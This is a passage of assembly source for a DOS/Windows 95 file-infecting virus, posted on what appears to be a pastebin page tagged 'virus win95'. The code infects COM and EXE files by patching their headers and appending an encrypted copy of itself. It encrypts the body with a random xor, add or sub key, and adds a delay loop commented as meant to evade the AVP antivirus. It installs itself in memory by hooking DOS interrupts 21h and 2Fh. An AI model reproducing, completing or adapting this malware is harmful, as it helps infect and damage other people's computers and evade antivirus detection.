  1281.          add fileheader.stackofs,(VIR_PAR + 4) * 16 ; mi metto al sicuro
  1282.  
  1283.          call GetDateTime
  1284.  
  1285.          call calc_check                            ; dx checksum
  1286.          mov  fileheader.checkovr,dx
  1287.  
  1288. LeaveSo   :  call FileStart
  1289.  
  1290.          cmp file_type,com
  1291.          jne @exe1
  1292.  
  1293.          mov jmp_addr,offset com_exec - offset yesvirus - 3
  1294.  
  1295.          mov byte ptr fileheader,0e9h
  1296.          mov cx,f_size
  1297.          add cx,NONCRYPTED - START_TSR
  1298.          sub cx,3
  1299.          mov word ptr fileheader+1,cx
  1300.          add cx,102h
  1301.          mov first_addr,cx
  1302.          sub cx,NONCRYPTED - START_TSR
  1303.          mov cmp_addr,cx
  1304.  
  1305.          mov dx,offset FIleheader
  1306.          mov cx,3
  1307.          call BlockWrite
  1308.  
  1309.          jmp short ordinary
  1310.  
  1311. @exe1     :  mov jmp_addr,0
  1312.  
  1313.          mov dx,offset Fileheader
  1314.          mov cx,size fileheader
  1315.          call BlockWrite                             ; scrive header
  1316.  
  1317. ordinary   : call FileEnd
  1318.  
  1319.          call Criptate                               ; return CX =
  1320.                              ; virus lenght
  1321.          mov dx,offset Data_Buffer
  1322.          mov cx,VIR_TRUE_LEN - 1
  1323.          call BlockWrite
  1324.  
  1325.          call SetDateTime
  1326.  
  1327.          call commit_file
  1328.  
  1329. InfectExit : ret
  1330.  
  1331. FileInfect   endp
  1332.  
  1333. FileClean    proc
  1334.  
  1335.          push cs
  1336.          pop  ds
  1337.  
  1338.          call CheckXInf                            ; DX:AX dimens file
  1339.  
  1340.          cmp file_type,other
  1341.          je clean_out
  1342.  
  1343.          cmp file_status,already
  1344.          jne clean_out
  1345.  
  1346.          sub ax,size templateheader + 4              ;size @com_buf
  1347.          sbb dx,0
  1348.  
  1349.          mov cx,dx
  1350.          mov dx,ax
  1351.          call FileSeek
  1352.  
  1353.              mov cx,size templateheader + 4     ;size @com_buf
  1354.                                                 ; read real fileheader
  1355.          mov dx,offset @com_buf
  1356.          call Blockread
  1357.  
  1358.          call FileStart
  1359.          call GetdateTime
  1360.  
  1361.          cmp file_type,com
  1362.          jne short @exe2
  1363.  
  1364.          mov cx,4
  1365.          mov dx,offset @com_buf
  1366.          call Blockwrite
  1367.          jmp short ordinary1
  1368.  
  1369. @exe2  :     mov cx,cs:[MZsig]
  1370.          dec cx
  1371.          mov templateheader.signature,cx
  1372.          mov dx,offset templateHeader
  1373.          mov cx,size templateheader
  1374.          call BlockWrite
  1375.  
  1376. ordinary1 :  call fileEnd
  1377.  
  1378.          sub ax,vir_true_len - 1
  1379.          sbb dx,0
  1380.  
  1381.          mov cx,dx
  1382.          mov dx,ax
  1383.          call FileSeek
  1384.  
  1385.          xor cx,cx
  1386.          call Blockwrite
  1387.  
  1388.          call SetDateTime
  1389.  
  1390.          call commit_file
  1391.  
  1392. clean_out :  ret
  1393.  
  1394. FileClean    endp
  1395.  
  1396. Criptate     proc
  1397.  
  1398.          push bx
  1399.  
  1400.          xor  bx,bx
  1401.          mov  ds,bx
  1402.              mov  bx,word ptr ds:[46ch]         ; ritorna numero casuale
  1403.  
  1404.          push cs cs
  1405.          pop  ds es
  1406.  
  1407.          mov  k_code,bl
  1408.          mov  k1_code,bl
  1409.  
  1410.          mov si,bx
  1411.          and si,3
  1412.          cmp si,3
  1413.          jl short @well
  1414.          xor si,si
  1415.  
  1416. @well   :    mov bh,byte ptr [offset cripstyle+si]
  1417.          mov cripmode,bh
  1418.          mov bh,byte ptr [offset uncripstyle+si]
  1419.          mov uncripmode,bh
  1420.  
  1421.          std
  1422.          mov  si,offset NONCRYPTED - 1
  1423.          mov  di,offset  Data_Buffer + (NONCRYPTED - START_TSR) - 1
  1424. @crip :      bt si,15
  1425.          jc short @stop
  1426.          lodsb
  1427.  
  1428.          cripmode db ?
  1429.          k_code db   ?                             ; xor add sub ,k_code
  1430.  
  1431.          stosb
  1432.          jmp short @crip
  1433.  
  1434. @stop    :   cld
  1435.          mov si,offset @uncr_code
  1436.          mov di,offset offset  Data_Buffer + (NONCRYPTED - START_TSR)
  1437.          mov cx,REAL_CODE - offset @uncr_code
  1438.          rep movsb
  1439.  
  1440.          pop bx
  1441.  
  1442.          ret
  1443. Criptate     endp
  1444.  
  1445. Cripstyle     db  034h                                 ; xor
  1446.           db  04h                                  ; add
  1447.           db  02ch                                 ; sub
  1448.  
  1449. Uncripstyle   db  34h                                  ; xor
  1450.           db  2ch                                  ; sub
  1451.           db  04h                                  ; add
  1452.  
  1453. Message db '|||-(BOOBS-)||| Virus , Once again deep in Terronia Land '
  1454.     db '1997 Bari'
  1455.  
  1456. intr_sub_w dw 4b00h,4b01h,6c00h
  1457. intr_sub_b db 1ah,4eh,4fh,3dh,3eh,11h,12h
  1458. MZsig dw 'ZM'+1
  1459. ZMsig dw 'MZ'+1
  1460.  
  1461. NONCRYPTED   equ $
  1462.  
  1463. @uncr_code : db 0beh
  1464.          first_addr dw ?                             ; mov si,first_addr
  1465.  
  1466. @uncr  :     db 02eh                                     ; xor cs:[si]
  1467.          db 80h
  1468.          uncripmode db ?
  1469.          k1_code  db ?
  1470.  
  1471.          mov cx,4000                                 ; do-nothing loop
  1472. @m1:         inc si                                      ; to waste time
  1473.          dec si                                      ; to
  1474.          loop @m1                                    ; fuck AVP
  1475.  
  1476.          dec si
  1477.          db 81h
  1478.          db 0feh
  1479.          cmp_addr dw ?                                ; cmp si,
  1480.  
  1481.          jne short @uncr
  1482.  
  1483. @end   :     jmp AfterCryp
  1484.  
  1485. @com_buf db 4 dup (?)
  1486. templateheader FileheaderRecord <>                  ; real file header
  1487.  
  1488. REAL_CODE    equ $
  1489.  
  1490. Fileheader   FileheaderRecord <>                    ; header
  1491. file_status  db ?                                   ; infection flag
  1492. file_type    db ?
  1493. sleep        db ?                                   ; flag for Windows 3.X
  1494. command_flag db ?                                   ; infect command.com ?
  1495. Searchrec    Searchrecord <>                        ; date & time record
  1496. SearchStack  dw Maxfiles dup (?)                    ; stack for f-handle
  1497. FindVar      Findrecord <>                          ; findfirst & findnext
  1498. SFT          db 03bh  dup (0)                       ; System File Table Buffer
  1499. DTAofs       dw ?                                   ; DTA for Findfirst,next
  1500. DTASeg       dw ?
  1501. COMSeg       dw ?                                   ; SEG for command.com
  1502. f_size       dw ?                                   ; com size
  1503. Data_Buffer  db VIR_TRUE_LEN + 16  dup (?)          ; Virus temp buffer
  1504.  
  1505.  
  1506. END_TSR      equ $
  1507.  
  1508.  
  1509. main    :    mov ax,ds                                    ; DS = PSP
  1510.              dec ax                                       ; AX = MCB
  1511.          mov ds,ax
  1512.  
  1513.          mov byte ptr ds:[0],'M'
  1514.          sub word ptr ds:[3],VIR_PAR
  1515.          inc ax
  1516.          add ax,ds:[3]
  1517.          mov ds,ax
  1518.              mov byte ptr ds:[0],'Z'                      ; Z nell'ultimo MCB
  1519.          mov word ptr ds:[1],0008
  1520.          mov word ptr ds:[3],VIR_PAR-1
  1521.          mov word ptr ds:[8],'CS'
  1522.  
  1523.              inc ax                                       ; SEG TSR
  1524.  
  1525.          cld
  1526.          mov es,ax
  1527.          xor si,si
  1528.          xor di,di
  1529.          push cs
  1530.          pop  ds
  1531.          mov cx,(VIR_LEN / 4) + 1
  1532. rep          movsd
  1533.  
  1534.          call clean_x_stack
  1535.  
  1536.          cli
  1537.  
  1538.          xor ax,ax
  1539.          mov ds,ax
  1540.  
  1541.          mov eax,es
  1542.          shl eax,16
  1543.          mov ax,offset HOOK_21
  1544.          xchg ds:[84h],eax
  1545.          mov es:TRAPPED_21,eax
  1546.  
  1547.          mov eax,es
  1548.          shl eax,16
  1549.          mov ax,offset HOOK_2F
  1550.          xchg ds:[0bch],eax
  1551.          mov es:TRAPPED_2F,eax
  1552.  
  1553.          mov es:sleep,FALSE
  1554.          mov es:command_flag,FALSE
  1555.  
  1556.          sti
  1557.  
  1558.          mov ax,4c00h
  1559.          int 21h
  1560. CSeg      ends
  1561.       end main
Tags: virus win95
Add Comment
Please, Sign In to add comment